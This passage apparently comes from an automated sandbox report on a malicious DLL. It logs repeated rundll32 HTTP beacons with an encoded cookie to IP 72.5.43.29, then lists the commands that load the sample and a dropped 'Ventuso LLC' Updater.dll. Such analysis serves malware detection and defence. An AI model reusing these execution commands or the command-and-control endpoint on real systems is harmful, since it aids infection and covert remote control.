Aug 15, 2024 05:30:58.502275944 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:30:58 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49753	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:03.692082882 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:04.396198988 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:04 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:09.576457977 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:10.262981892 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:10 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49755	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:13.727726936 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:14.442205906 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:14 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49756	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:18.145819902 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:18.832154989 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:18 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:23.815515041 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:24.486062050 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:24 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:31.541568995 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:32.238486052 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:32 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:35.741480112 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:36.428111076 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:36 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:40.152585030 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:40.844693899 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:40 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:46.401648998 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:47.087104082 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:46 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:52.723887920 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:53.413911104 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:53 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49763	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:31:56.461824894 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:31:57.147458076 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:31:57 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49764	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:32:03.006439924 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:32:03.708177090 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:32:03 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49765	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:32:09.635644913 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:32:10.347987890 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:32:10 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49766	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:32:12.614826918 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:32:13.419794083 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:32:13 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49767	72.5.43.29	80	7568	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Aug 15, 2024 05:32:19.989518881 CEST	393	OUT	GET / HTTP/1.1 Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFK User-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Host: 72.5.43.29 Connection: Keep-Alive Cache-Control: no-cache
Aug 15, 2024 05:32:20.674880981 CEST	223	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Connection: close Date: Thu, 15 Aug 2024 03:32:20 GMT Content-Length: 94 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1></BODY></HTML>

Target ID:	0
Start time:	23:29:20
Start date:	14/08/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll"
Imagebase:	0x7ff6cef90000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:29:20
Start date:	14/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:29:21
Start date:	14/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1
Imagebase:	0x7ff6ad640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:29:21
Start date:	14/08/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\akdn2nefd.bin.dll
Imagebase:	0x7ff615620000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:29:21
Start date:	14/08/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1
Imagebase:	0x7ff703750000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:29:21
Start date:	14/08/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllGetClassObject
Imagebase:	0x7ff703750000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:29:24
Start date:	14/08/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServer
Imagebase:	0x7ff703750000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:29:27
Start date:	14/08/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServerEx
Imagebase:	0x7ff703750000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:29:32
Start date:	14/08/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe "C:\ProgramData\Ventuso LLC\Updater.dll",Start /u
Imagebase:	0x7ff703750000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

